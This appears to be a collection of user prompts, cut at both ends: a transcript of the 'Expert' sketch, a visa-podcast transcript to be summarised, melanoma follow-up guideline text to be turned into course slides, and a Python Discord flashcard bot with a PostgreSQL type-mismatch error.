perpendicular.\n2:36\nAll seven can\'t be simultaneously perpendicular to each other.\n2:41\nI\'ll show you.\n2:45\nThis is a line, right?\n2:48\nYes.\n2:49\nAnd another one. Is it perpendicular to the first line?\n2:55\nWell...\n2:57\nYes, it is perpendicular.\n2:59\nExactly!\n3:00\nWait, wait, I\'m not done. And a third one: is it perpendicular to the first line?\n3:06\nYes, it is! But it doesn\'t cross the second line. They\'re both parallel.\n3:12\nNot perpendicular!\n3:16\nI suppose so.\n3:17\nThere it is. Two lines can be perpendicular --\n3:21\nCan I have the pen?\n3:42\nHow about this?\n3:48\nThis is a triangle.\n3:49\nIt\'s definitely not perpendicular lines.\n3:53\nAnd there are three, not seven.\n3:57\nWhy are they blue?\n3:58\nIndeed. Wanted to ask that myself.\n4:01\nI have a blue pen with me. This was just a demonstration --\n4:04\nThat\'s the problem, your lines are blue. Draw them with red ink!\n4:07\nIt won\'t solve the problem.\n4:09\nHow do you know before you\'ve tried?\n4:10\nLets draw them with red ink and then let\'s see.\n4:12\nI don\'t have a red pen with me, --\n4:13\nbut I am completely certain that with red ink the result will still be the same.\n4:19\nDidn\'t you tell us earlier that you can only draw red lines with red ink?\n4:22\nIn fact, yes, I\'ve written it down here!\n4:24\nAnd now you want to draw them with a blue ink. Do you want to call these red lines?\n4:29\nI think I understand. You\'re not talking about the colour now, right?\n4:33\nYou\'re talking about that, what do you call it: per-per, dick-dick --\n4:37\nPerpendicularity, yes!\n4:38\nThat\'s it, now you\'ve confused everyone.\n4:41\nSo what exactly is stopping us from doing this?\n4:44\nGeometry.\n4:46\nJust ignore it!\n4:47\nWe have a task. Seven red lines. It\'s not twenty; it\'s just seven.\n4:52\nAnderson, I understand; you\'re a specialist of a narrow field, you don\'t see the overall picture.\n4:58\nBut surely it\'s not a difficult task to draw some seven lines!\n5:01\nExactly. Suggest a solution!\n5:03\nAny fool can criticise, no offence, but you\'re an expert, you should know better!\n5:10\nOK. Let me draw you two perfectly perpendicular red lines, --\n5:15\nand I will draw the rest with transparent ink.\n5:18\nThey\'ll be invisible, but I\'ll draw them.\n5:21\nWould this suit us?\n5:24\nYes, this will suit us.\n5:26\nYes, but at least a couple with green ink.\n5:28\nOh, and I have another question, if I may.\n5:31\nCan you draw one of the lines in the form of a kitten?\n5:34\nA what?\n5:35\nIn the form of a kitten.\n5:36\nMarket research tells our users like cute animals. It\'d be really great if --\n5:40\nNo-oh...\n5:42\nWhy?\n5:42\nLook, I can of course draw you a cat.\n5:45\nI\'m no artist, but I can give it a try.\n5:47\nBut it won\'t be a line any more. It will be a cat.\n5:49\nA line and a cat: those are two different things.\n5:51\nA kitten. Not a cat, but a kitten.\n5:53\nIt\'s little, cute, cuddly. Cats, on the other hand --\n5:58\nIt doesn\'t make a difference.\n5:59\nAnderson, at least hear her out!\n6:01\nShe hasn\'t even finished speaking, and you\'re already saying "No!"\n6:04\nI got the idea, but it is impossible to draw a line in the form of a cat...ten.\n6:10\nWhat about a bird?\n6:15\nSo, where did we stop? What are we doing?\n6:17\nSeven red lines, two with red ink, two with green ink and the rest - with transparent.\n6:21\nDid I understand correctly? -- -- Yes.\n6:23\nExcellent! In which case that\'s everything, right?\n6:26\nOh, oh, I almost forgot, we also have a red balloon.\n6:28\nDo you know if you could inflate it?\n6:34\nWhat do I have to do with balloons?\n6:37\nIt\'s red.\n6:38\nAnderson, can you or can you not do this? A simple question.\n6:42\nAs such, I can of course, but --\n6:43\nExcellent. Organise a business trip, we\'ll cover the expenses, --\n6:47\ngo over to their location, inflate the balloon.\n6:52\nWell this was very productive, thank you all!\n7:08\nCan I ask one more question, please?\n7:10\nWhen you inflate the balloon, could you do it in the form of a kitten?\n7:16\nOf course I can!\n7:17\nI can do anything, I can do absolutely anything.\n7:23\nI\'m an expert!' -'Title: "(333) Behind the Visa Window Trailer | Argo Visa Podcast - YouTube"\nVideo Transcript: "[Music] hi i\'m mandy and i\'m ben and this is behind the visa window with ex-visa officers where we give the insider\'s perspective on the us visa interview process hi everyone i am so excited to be here with you all today for the inaugural episode of our podcast behind the visa window with ex visa officers my name is mandy fierbacher and this is my colleague ben arterburn and we started this podcast mainly because when we were ex-visa officers with the u. s department of state i don\'t know about you ben but i just felt like there were so many things that were misunderstood about the us visa process and things that you could not possibly know unless you were actually a visa officer working behind that glass and one of the reasons why i wanted to do this with you is because i felt like there are so many insights we gleaned with our years working with the state department at u. s embassies and consulates around the world and and seeing what some people went through during that process made me really want to help these applicants and international citizens because it is a very opaque process it\'s difficult to understand um and you know we kind of bring a unique perspective given our uh work experience oh yeah it\'s definitely a black box you know the embassy\'s there um and they think they\'ve given all the information to the visa applicants that they need in order to apply for their visa but they haven\'t you know there\'s a there\'s an environment of misinformation there\'s visa agents there\'s people online there\'s your friends there\'s your family who have applied for visas and things have gone well or maybe they\'ve gone wrong and everyone\'s reading the tea leaves trying to figure out what\'s actually going on and no one really knows that\'s why we wanted to do this we want to shed light on that on what\'s actually going on inside why are people getting their visas refused right unnecessarily you know two people who have the same experience they went to school together they studied together they got into the same university they\'ve applied for the same majors they\'re going to study in the us at the same university one gets approved once gets denied and no one knows why but we\'ve got that insight mandy how many visa interviews did you do while you\'re in so i have interviewed probably over a hundred thousand visa applicants and it was a lot of time talking to people talking to people from all different walks of life who had different motivations going to the united states and unfortunately every single visa interview uh was very short and so i didn\'t have a whole lot of time to talk to each person uh but i do have a lot of experience in knowing what these officers look for um you know what kinds of questions we ask and exactly what is our culture because i don\'t know if you feel like this ben but i honestly feel like these officers or consular officers as we\'re called have our own culture in how we make these decisions and why we think about things a certain way what do you think oh yeah definitely um it\'s not all written down in the law right there\'s there\'s the legal requirements to get your visa and the immigration attorneys know those requirements inside it out you know that\'s their profession but then once the v sapling visa applicant goes into the visa interview and is standing there with the glass between them and the visa officer all of it just decide is decided upon the mentality of that visa officer right then and there right um they have to overcome 214b as they say right and that just is in the feelings in the in the in the judgment of that visa officer and i know for me this uh this idea of wanting to help visa visa applicants was born when one of my very good friends applied for a visa and because you know there\'s a there\'s really strict ethics rules for the visa officers you can\'t you can\'t help people on the outside while you\'re working as a visa officer i told my friend that i couldn\'t help them but i said you\'re not going to have any problems just go through it on your own apply it\'ll be fine and she got refused and i had no idea why i said this is a mistake go ahead and apply again i didn\'t help her you know abiding by our strict ethics i said just go ahead and apply again she applied again and she got refused again and i realized that this system is imperfect nobody knows what\'s going on on the outside and now i\'m grateful that we have the opportunity and that we\'re starting this platform to try to shed some light on this um i guess i\'ll go ahead and introduce myself a little bit you know what my background was uh i started with the state department in 2012 and i was a visa officer in guangzhou china i had a background in china before that i had lived in china for about five or six years studying and then working um and also had a degree in chinese studies so that was kind of my bread and butter so i did two years of visas in guangzhou where i did non-immigrant visas and also immigrant visas i also did american citizen services which is another aspect of the consular work abroad but that\'s for a different podcast and then after that i was sent to bogota colombia where i also did non-immigrant visas but also i worked in the fraud prevention unit which is the unit where if someone is suspected of committing fraud their case is referred over and we investigated right so we had a you know a team of investigators and we looked into this and i found you know a lot of times there is fraud right that\'s why the police officers do have their their radars turned on is because some people are committing fraud telling lies in order to get past the visa officers and make it to the united states but also in that role i found that sometimes people seemed like you know something was off but then after an investigation there was nothing wrong luckily those cases had been referred to us and we could do an investigation and prove that they were actually legitimate in their study plan and their tourism plan or business plan but in other instances the officers at the window would never have referred those cases to us and they would have just referred them they would have refused them outright so you know knowing how that works is really you know an important thing my final job in the state department was as the spokesperson and press secretary at the u. s consulate in shanghai and i resigned from the state department in 2018 and ever since then i\'ve been helping visa applicants get their visas that\'s great ben and you know similarly you and i actually have a lot in common because we have this china experience i am also a former visa officer uh just like yourself and interestingly enough my visa experience started when i was very young so i am an immigrant myself i was actually born in shanghai china where you ended your career with the state department and i went to my visa interview at the age of seven at the u.s consulate in shanghai um this would have been the old consulate though so i don\'t think that was the one where you were working but it was a really eye-opening experience for me as a seven-year-old child i remember going into the consulate and just thinking gosh like this is crazy that this person who you know this white man with very long hair by the way he seemed kind of like a hippie could speak chinese and ask me questions and he asked me why i wanted to go to the united states um the reason was that my at the u.s consulate in shanghai um this would have been the old consulate though so i don\'t think that was the one where you were working but it was a really eye-opening experience for me as a seven-year-old child i remember going into the consulate and just thinking gosh like this is cra where we were extremely extremely busy um i don\'t know if you know actually i\'m sure that was your experience as well in guangzhou china but all of the posts in china are extremely busy and we call ourselves visa mills it\'s not like a great you know term because it just showcased how busy we were but i remember at the embassy in beijing regularly on a daily basis about 4 400 people would come through our waiting room and every single person needed to be interviewed and at the embassy in beijing china i and so that was really interesting for me and i did my next tour um at a border town called matamoros mexico so that was at the us consulate in mexico where i worked again in non-immigrant visas but i also spent a year working in american citizen services on u.s passport issues and i spent my final two years at the u. know we we\'ve seen the whole gamut um in in china in latin america um there\'s a there\'s a whole lot of variety in these but then you\'ve done that many of them and you\'ve seen um you know the wide swath of experiences that people have when they\'re applying for for visas um what can happen when they go in why people get refused why people get issued you know and after doing it for so many years i don\'t know if you\'re familiar we haven\'t i don\'t know if we\'ve talked about this the malcolm gladwell\'s ten wanna toot our own horns too much but we definitely are um we we have a very specialized skill set that we have become masters of throughout the course of our careers department um all of it doing visas you actually had some work outside of the consular section but for me it was all in visas i felt like during that time i just kind of lived and breathed visas and so it\'s really interesting that you and i are doing visa consulting work now with argo because you know the really interesting thing to me is at the time we were visa officers we had situation in two minutes i mean how many how many interviews would you say you did every day oh it depended but one day i think that the max number of in-person face-to-face interviews that i did was 280. oh my gosh okay i think that might have topped even my experience because i think i maybe did 225 one day yeah we were doing uh you know the normal around the world the the standard is four hours of doing these visa interviews each day and then you know it\'s really busy sometimes they might up to five or even six uh during the height the boss is staring over your shoulder saying go go move them through move them through some people are bold some people are conservative right really cautious they really don\'t want to issue a visa to someone and then it turned out that they use the visa wrong other people like you and me really want to make sure that people who deserve to get the visa don\'t get refused unnecessarily right um but really it\'s just all up to the discretion of that one officer they they get broad authority to make whatever decision they want in that you know what are some things that surprised you about your time you know behind that visa window i think that at the beginning i wasn\'t i wasn\'t surprised surprised at the beginning right i came in everything was new it was just learning a new job and it took a little while maybe six months before i realized the real human impact that the job had right you come in and you\'re learning this new job your colleagues are trying to teach you things you\'re you know you\'re learning this new computer system you\'re trying take a completely separate path right so it\'s really a huge impact on on people\'s lives that that that two minutes at a visa interview can can determine um which is why we want to do this podcast right mandy like we\'re starting this podcast because it\'s not been done before there are there are a limited number of people probably in the it\'s more than the hundreds but in the low thousands of people who have who have done visa interviews um who know what\'s going on behind the visa window worried about what\'s going to happen during that interview if you\'ve got a family member who\'s been refused abroad and you don\'t know why they\'ve been refused if you\'re an immigration attorney who\'s got clients who who are running into problems during their visa stamping and you don\'t know why because it\'s they go in there and it\'s a black box they come out with a refusal slip and no explanation you know mandy you\'re as an immigration attorney i\'m sure i\'m sure you\'ve run into that a lot once or just a few times in their lives hopefully uh you know fewer rather than more and then it\'s the visa officer who does this day in and day out so i feel like we have sort of aggregated this amount of expertise just based on the sheer volume of cases that we\'ve seen the people that we have talked to the internal meetings that we have had week after week to make sure that our standards are consistent and these are all things that we hope to share with you our audience uh in the weeks and months to come as we you know embark on could become a liability could seem you know to suggest to the officer that your uh intentions are different than what you\'re saying and so you never really know what you\'re conveying unless you really prepare with somebody who knows um exactly what this process entails yeah well many i think now is a good time for you to introduce argo visa to our audience and then i\'ll let them know afterwards how they can contact us thanks so much ben so argo visa is really a labor of love and dedication to this canada i mean we have worked in 34 countries we speak 14 different languages and i actually counted up all of our years of experience once and i think we have something like nine decades of experience if you were to add it all together wow um and you can find out more information about us at www.argovisa. experiences with it write to us at hello at argovisa.com and each week we\'ll be talking about some of the the questions and the concerns that come into us and because we\'ve got you know this this great group of former consular officers that we work with you know we\'ll bring them on when they have particular expertise in the country where you come from or with the visa type that you\'re applying for and we\'ll bring them on and we\'ll have a conversation"\nVideo Summary:' -'Continue the course on the next slide building the slides and the transcript with the following content: Blood tests\nS100B, MIA, LDH blood tests for initial staging\nTwo small studies were identified assessing the diagnostic accuracy of either p-proteasome, MIA, S-100B, or LDH for melanoma metastases.[22][23] In the first study of 53 clinical stage I-II melanoma patients, 68 stage III-IV patients and 40 healthy volunteers, plasma samples were obtained before definitive surgical excision or treatment and followed for a median of 17 months. Reference standard positive patients were a mixture of patients with clinical stage III/IV disease at the outset and patients with clinical stage I/II who then developed metastases during follow-up (detected through clinical examinations and imaging tests). Likewise reference standard negative patients were a mixture of healthy volunteers and patients with clinical stage I/II disease who did not develop metastases during follow-up. Within the limitations of the substantial spectrum bias arising from the selection of the study population which was not limited to asymptomatic stage I/II patients, the area under the receiver operating curves (ROC) for p-proteasome and S100B were the highest (0.81,and 0.82 respectively), whereas LDH and MIA showed lower values (0.79, and 0.72 respectively).[22] In the second study, of 87 stage I/II patients, 71 stage III/IV patients and 50 healthy volunteers, serum concentrations were measured before surgery.[23] The reference standard was again a composite of clinical exams and imaging tests to define whether or not the patient had stage III/IV disease at either the outset or during a median of 32.8 months follow-up. The authors reported that a cut-off value for MIA of 9.4 ng/ml, had 77% sensitivity and 94% specificity for the detection of stage IV disease. Among the 87 patients with stage I/II disease after imaging, 66% of those with MIA serum values greater than 9.4 ng/mL developed regional or distant metastases during follow-up , while 5% of those with values below this threshold developed metastases.[23]\n\nStandard blood tests for initial staging and follow-up (e.g. electrolytes, urea, creatinine, liver function tests [LFTs], full blood count [FBC])\nEvidence from previous guidelines states the routine use of standard blood tests rarely identifies occult stage IV disease in patients presenting with stage I or II melanoma and is not recommended. See [ANZ Melanoma guidelines]. These tests are not new and were therefore outside the scope of the current systematic review and guideline.\n\nS100B, MIA, LDH blood tests during follow-up\nAs a tumour marker, S100B displays a sensitivity of 86–91 %, specificity[24][25] and may portend recurrence, however there are no data demonstrating superior survival outcomes for patients undergoing routine S100B testing in follow up. The use of serum LDH or melanoma-inhibitory activity (MIA) protein in follow up for the detection of asymptomatic melanoma recurrence has been reviewed by Fields and Coit.[26] Abnormal blood tests were rarely the first sign of metastases. Low sensitivity, specificity, and accuracy for general laboratory profiles make them ineffective in the detection of subclinical recurrence and their roles are yet to be defined.\n\nInvestigations for stage I-II patients with no sentinel node biopsy (ie. declined or patient unfit)\nUltrasonography for initial staging\nFor situations where SLNB has been declined or is not possible for technical reasons or patient co-morbidities, ultrasound monitoring may be considered, however 4 studies have shown poorer accuracy (both sensitivity and specificity) compared to SLNB[27][28][29][30], and so the latter is preferred whenever feasible (see chapter on SNLB). No studies were identified in patients who were not eligible for SLNB.\n\nIn three of the studies assessing ultrasonography against a reference standard of SNLB, the sensitivity of ultrasound ranged from 13% to 71%; the specificity from 57% to 97%[27][28][29]; and in two studies the positive predictive value ranged from 37% to 97%, while the negative predictive value ranged from 13% to 84%.[27][29] In one study that assessed a particular ultrasound characteristic (the echo free island) the sensitivity was 11%, the specificity 98%, the positive predictive value was 50% and the negative predictive value was 80%.[30]\n\nOne small study compared high resolution ultrasound (HRUSS) with PET/CT against a reference standard of SNB in 20 patients with clinically stage I/II disease.[16] HRUSS correctly identified two of 12 patients with positive SLNs whereas PET/CT imaging identified none; both imaging tests correctly identified all 12 patients with negative SLNs.[16]\n\nUltrasonography during follow-up\nThe usefulness of ultrasonography for follow-up of patients treated for Stage I/II melanoma depends entirely on the technical skill and experience of the personnel involved. There is a consensus of opinion that ultrasound is superior to clinical examination of regional lymph nodes, although its survival advantage is unproven.[31] A prospective cohort study of 373 patients with a primary tumour Breslow thickness of ≥1.5mm[32], reported a sensitivity of 93% for ultrasound compared with only 71% for the clinical examination of regional lymph nodes. Their specificity was equally high for both procedures (>98%). Despite the superiority of ultrasound, very few patients actually benefited from the addition of ultrasound to clinical examination. The reasons cited for this were that although ultrasound was useful in the earlier detection of regional disease or avoidance of unnecessary surgery in 7% of patients, 6% had deleterious effects such as unnecessary stress caused by repetition of ultrasounds for benign lymph nodes or useless removal of benign lymph nodes.[32] Thus in sum, in only 1% of patients was the use of ultrasound advantageous.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy for initial staging\nOne prospective study assessed whether the combination of ultrasound and fine needle biopsy could be used as a ‘triage’ test for SLNB in 107 asymptomatic patients with clinically stage I/II melanoma.[33] Using this test strategy, only two patients had final positive results, of which one could not be confirmed on histopathology (possible false positive) and the other was confirmed (true positive). Of the 105 patients who were negative on ultrasound +FNA, 36 were false negatives (nodal metastases found on SLNB), and 69 were true negatives.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy during follow-up\nFNA is the current standard method to confirm the presence of suspected nodal metastases for lymphadenopathy identified after definitive local treatment of cutaneous melanoma.[34][35] Ultrasound guidance should be used as the diagnostic yield is superior, particularly for small lymph nodes <10mm in size. Core biopsy has higher sensitivity and specificity compared with FNA and should be considered where FNA is negative but clinical suspicion remains high. There is no role for routine lymph node biopsy during follow up of asymptomatic patients.[36]\n\nOther investigations during follow-up\nSkin Self-Examination\nA review of 9 clinical practice guidelines by Marciano et al (2014)[37] reveals consensus that patients should be taught skin self-examination; this was based on retrospective evidence from several studies that recurrences were commonly first detected by patients. For this recommendation, 4 guidelines varied in evidence content while 5 guidelines provided consensus opinion only. Education on sun-smart behaviour was recommended by 4 guidelines.[37]\n\nSuccessfully implementing self-examination requires patient education on whole-body skin examination with particular attention given to melanoma surgical scars and the corresponding lymphatic drainage areas for in-transit and lymph node recurrence. Patients should also be given education regarding symptoms that may warrant further investigation, such as pain, fatigue, weight loss, nausea and vomiting, dyspneoa, and headache. In addition, the use of brochures or videos, and the engagement of relatives in the education process may be helpful.[38][39][40] Randomized controlled trials do not exist. In Australia, patients themselves detect up to 75% of recurrences, while in other countries this can be as low as 20%.9-13 These data highlight the fact that even with education, there are great differences in patients’ individual ability to detect recurrences.[40]\n\nHistory and physical examination during follow-up\nThere is general consensus that the most cost-effective component of a strategy resulting in the detection of the majority of recurrences is careful history taking and physical examination. The detection of distant metastases in patients with early localised disease is unusual.\n\nAs with self-examination, history and physical examination include specific history taking, a full skin examination looking for new primaries, palpation of melanoma surgical scars, and lymphatic drainage areas for in-transit and lymph node recurrence. Apart from patient self-detected relapses, most relapses and secondary melanomas are detected during physical examinations.[41][42] In a large prospective study12, roughly 50 % of recurrences were identified by history taking/physical examination, 80 % of which were local recurrences, in-transit metastases, and regional lymph node metastases.[41] Indeed, the vast majority of operable recurrences (96%) are those detected by physical examinations.14 In summary, history and physical examinations for patients with stages I–III melanoma are the most effective procedure for early recurrence detection.[43][8]' -'I have this python bot which is throwing an error due to some postgres issue I think. Here is my code:\n\ndef get\\_next\\_review\\_due\\_date(reaction\\_value, current\\_stage\\_value\\_for\\_card, review\\_due\\_date):\n stage\\_map = {\n 1: {"measure": "hours", "value": 1},\n 2: {"measure": "hours", "value": 4},\n 3: {"measure": "hours", "value": 8},\n 4: {"measure": "hours", "value": 12},\n 5: {"measure": "days", "value": 1},\n 6: {"measure": "days", "value": 2},\n 7: {"measure": "days", "value": 5},\n 8: {"measure": "weeks", "value": 1},\n 9: {"measure": "weeks", "value": 2},\n 10: {"measure": "months", "value": 4},\n 11: {"measure": "weeks", "value": 6},\n 12: {"measure": "months", "value": 3},\n 13: {"measure": "months", "value": 3},\n 14: {"measure": "months", "value": 6},\n 15: {"measure": "months", "value": 9},\n 16: {"measure": "years", "value": 1},\n 17: {"measure": "months", "value": 17},\n 18: {"measure": "years", "value": 2},\n 19: {"measure": "months", "value": 30},\n 20: {"measure": "years", "value": 4},\n }\n # Update the stage based on the reaction\n if reaction\\_value == 1:\n new\\_stage = max(current\\_stage\\_value\\_for\\_card - 2, 1)\n elif reaction\\_value == 2:\n new\\_stage = current\\_stage\\_value\\_for\\_card\n elif reaction\\_value == 3:\n new\\_stage = min(current\\_stage\\_value\\_for\\_card + 1, 20)\n elif reaction\\_value == 4:\n return None\n\n # Get the corresponding timedelta based on the stage\\_map\n stage\\_info = stage\\_map[new\\_stage]\n if stage\\_info["measure"] == "hours":\n review\\_due\\_date += timedelta(hours=stage\\_info["value"])\n elif stage\\_info["measure"] == "days":\n review\\_due\\_date += timedelta(days=stage\\_info["value"])\n elif stage\\_info["measure"] == "weeks":\n review\\_due\\_date += timedelta(weeks=stage\\_info["value"])\n elif stage\\_info["measure"] == "months":\n review\\_due\\_date += timedelta(days=stage\\_info["value"] \\* 30) # Approximate days in a month\n elif stage\\_info["measure"] == "years":\n review\\_due\\_date += timedelta(days=stage\\_info["value"] \\* 365) # Approximate days in a year\n\n return review\\_due\\_date,new\\_stage\nclass SpacedRepetition(commands.Cog):\n def \\_\\_init\\_\\_(self, bot):\n self.bot = bot\n self.conn = bot.conn\n self.cursor = bot.cursor\n\n @commands.command()\n async def list\\_decks(self, ctx):\n self.cursor.execute("SELECT title FROM srs\\_decks;")\n deck\\_titles = self.cursor.fetchall()\n deck\\_list = "\\n".join([f"- {title[0]}" for title in deck\\_titles])\n embed = discord.Embed(title="Available Decks", description=deck\\_list, color=0x00ff00)\n await ctx.send(embed=embed)\n print(f\'{ctx.author.name} listed decks.\')\n\n @commands.command()\n async def subscribe(self, ctx, \\*, deck\\_name: str):\n # Check if user exists in the database\n user\\_id = str(ctx.author.id)\n self.cursor.execute("SELECT \\* FROM srs\\_users WHERE user\\_id = %s;", (user\\_id,))\n user = self.cursor.fetchone()\n print(f\'{ctx.author.name} tried to subscribe to deck {deck\\_name}\')\n\n # If the user doesn\'t exist, create the user\n if not user:\n username = ctx.author.name\n self.cursor.execute("INSERT INTO srs\\_users (user\\_id, username) VALUES (%s, %s);", (user\\_id, username))\n self.conn.commit()\n print(f\'{ctx.author.name} was added to the srs\\_users table.\')\n\n # Check if the deck exists\n self.cursor.execute("SELECT \\* FROM srs\\_decks WHERE title = %s;", (deck\\_name,))\n deck = self.cursor.fetchone()\n\n if not deck:\n await ctx.send(f"No deck found with the name \'{deck\\_name}\'")\n return\n\n # Check if the user has already subscribed to the deck\n self.cursor.execute("SELECT \\* FROM srs\\_user\\_subscriptions WHERE user\\_id = %s AND deck\\_id = %s;", (user\\_id, deck[0]))\n subscription = self.cursor.fetchone()\n\n if subscription:\n await ctx.send(f"You are already subscribed to the \'{deck\\_name}\' deck.")\n return\n\n # Subscribe the user to the deck\n self.cursor.execute("INSERT INTO srs\\_user\\_subscriptions (user\\_id, deck\\_id, added\\_on) VALUES (%s, %s, NOW());", (user\\_id, deck[0]))\n self.conn.commit()\n\n # Add all the cards from the deck to the user\'s cards\n self.cursor.execute("SELECT card\\_id FROM srs\\_cards WHERE deck\\_id = %s;", (deck[0],))\n card\\_ids = self.cursor.fetchall()\n\n for card\\_id in card\\_ids:\n self.cursor.execute(\n "INSERT INTO srs\\_user\\_cards (user\\_id, card\\_id, review\\_due\\_date) VALUES (%s, %s, NOW());", (user\\_id, card\\_id[0])\n )\n self.conn.commit()\n\n await ctx.send(f"You have successfully subscribed to the \'{deck\\_name}\' deck.")\n print(f\'{ctx.author.name} was successfully subscribed to {deck\\_name}.\')\n\n @commands.command()\n async def my\\_decks(self, ctx):\n user\\_id = str(ctx.author.id)\n self.cursor.execute("""\n SELECT srs\\_decks.title\n FROM srs\\_user\\_subscriptions\n JOIN srs\\_decks ON srs\\_user\\_subscriptions.deck\\_id = srs\\_decks.deck\\_id\n WHERE srs\\_user\\_subscriptions.user\\_id = %s;\n """, (user\\_id,))\n decks = self.cursor.fetchall()\n deck\\_list = "\\n".join([f"- {deck[0]}" for deck in decks])\n\n embed = discord.Embed(title="Your Subscribed Decks", description=deck\\_list, color=0x00ff00)\n await ctx.send(embed=embed)\n print(f\'{ctx.author.name} listed their subscribed decks.\')\n\n @commands.command()\n async def learn(self, ctx, \\*, deck\\_name: str = None):\n user\\_id = str(ctx.author.id)\n\n if not deck\\_name:\n await ctx.invoke(self.bot.get\\_command(\'my\\_decks\'))\n await ctx.send("Please specify a deck name to study. Example: `!learn `")\n print(f\'{ctx.author.name} tried to learn a deck without args.\')\n return\n\n self.cursor.execute("""\n SELECT srs\\_cards.card\\_id, srs\\_cards.question, srs\\_user\\_cards.user\\_card\\_id, COALESCE(srs\\_user\\_cards.stage, 3) as stage\n FROM srs\\_user\\_cards\n JOIN srs\\_cards ON srs\\_user\\_cards.card\\_id = srs\\_cards.card\\_id\n JOIN srs\\_decks ON srs\\_cards.deck\\_id = srs\\_decks.deck\\_id\n WHERE srs\\_user\\_cards.user\\_id = %s AND srs\\_decks.title = %s AND srs\\_user\\_cards.card\\_active = TRUE AND srs\\_user\\_cards.review\\_due\\_date <= NOW() AND srs\\_user\\_cards.has\\_been\\_seen = FALSE\n ORDER BY srs\\_user\\_cards.review\\_due\\_date;\n """, (user\\_id, deck\\_name)) # the COALESCE sets stage 3 as the default starting point for a card.\n\n cards = self.cursor.fetchall()\n\n if not cards:\n await ctx.send("No cards to review at the moment.")\n print(f\'{ctx.author.name} has no new cards to learn the moment.\')\n return\n\n for card in cards:\n card\\_id, question, user\\_card\\_id, current\\_stage\\_value\\_for\\_card = card\n print(card)\n embed = discord.Embed(title="Question", description=question, color=0x00ff00)\n self.cursor.execute("SELECT answer FROM srs\\_cards WHERE card\\_id = %s;", (card\\_id,))\n answer = self.cursor.fetchone()[0]\n view = ButtonView(embed=embed,answer=answer)\n await ctx.send(embed=embed,view=view)\n\n try:\n await view.wait()\n \n except asyncio.TimeoutError:\n await ctx.send("Session timed out. To continue reviewing, use the `!review ` command again.")\n break\n\n response\\_value = view.value\n print(response\\_value)\n await ctx.send(f\'you replied with {str(response\\_value)}\')\n\n if response\\_value == 4 or response\\_value == None:\n await ctx.send("Session timed out. To continue reviewing, use the `!review ` command again.")\n break\n\n # Update user\\_card and user\\_actions tables\n response\\_date = datetime.now()\n review\\_due\\_date = datetime.now()\n\n # Replace this block in the learn and review functions\n review\\_due\\_date = get\\_next\\_review\\_due\\_date(response\\_value, current\\_stage\\_value\\_for\\_card, review\\_due\\_date)\n\n self.cursor.execute("""\n UPDATE srs\\_user\\_cards\n SET review\\_due\\_date = %s,\n last\\_review\\_date = %s,\n has\\_been\\_seen = TRUE,\n stage = CASE WHEN stage IS NULL AND %s = 1 THEN 1\n WHEN stage IS NULL AND %s = 2 THEN 3\n WHEN stage IS NULL AND %s = 3 THEN 4\n WHEN %s = 1 THEN LEAST(stage - 2, 1)\n WHEN %s = 3 THEN LEAST(stage + 1, 20)\n ELSE stage END\n WHERE user\\_card\\_id = %s;\n """, (review\\_due\\_date, response\\_date, response\\_value, response\\_value, response\\_value, response\\_value, response\\_value, user\\_card\\_id))\n self.cursor.execute("""\n INSERT INTO srs\\_user\\_actions (user\\_id, user\\_card\\_id, response\\_date, response\\_value)\n VALUES (%s, %s, %s, %s);\n """, (user\\_id, user\\_card\\_id, response\\_date, response\\_value))\n\n self.conn.commit()\n \n else:\n await ctx.send("Completed learning. No cards left in the learning set.")\n print(f\'{ctx.author.name} completed their learning!!\')\n\nHere is my error:\n\n2023-03-30 23:22:22 ERROR discord.ext.commands.bot Ignoring exception in command learn\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 229, in wrapped \n ret = await coro(\\*args, \\*\\*kwargs)\n File "C:\\Users\\stewa\\AbraxasBot\\gpt4\\commands\\srs\\_test\\spaced\\_repetition.py", line 244, in learn\n self.cursor.execute("""\npsycopg2.errors.DatatypeMismatch: column "review\\_due\\_date" is of type timestamp without time zone but expression is of type record\nLINE 3: SET review\\_due\\_date = (\'2023-03-31T00:22:22....\n ^\nHINT: You will need to rewrite or cast the expression.\nThe above exception was the direct cause of the following exception:\n\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\bot.py", line 1350, in invoke \n await ctx.command.invoke(ctx)\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 1023, in invoke \n await injected(\\*ctx.args, \\*\\*ctx.kwargs) # type: ignore\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 238, in wrapped \n raise CommandInvokeError(exc) from exc\ndiscord.ext.commands.errors.CommandInvokeError: Command raised an exception: DatatypeMismatch: column "review\\_due\\_date" is of type timestamp without time zone but expression is of type record\nLINE 3: SET review\\_due\\_date = (\'2023-03-31T00:22:22....\n ^\nHINT: You will need to rewrite or cast the expression.\n\n2023-03-30 23:22:34 ERROR discord.ext.commands.bot Ignoring exception in command my\\_decks\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 229, in wrapped \n ret = await coro(\\*args, \\*\\*kwargs)\n File "C:\\Users\\stewa\\AbraxasBot\\gpt4\\commands\\srs\\_test\\spaced\\_repetition.py", line 175, in my\\_decks\n self.cursor.execute("""\npsycopg2.errors.InFailedSqlTransaction: current transaction is aborted, commands ignored until end of transaction block\nThe above exception was the direct cause of the following exception:\n\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\bot.py", line 1350, in invoke \n await ctx.command.invoke(ctx)\n File 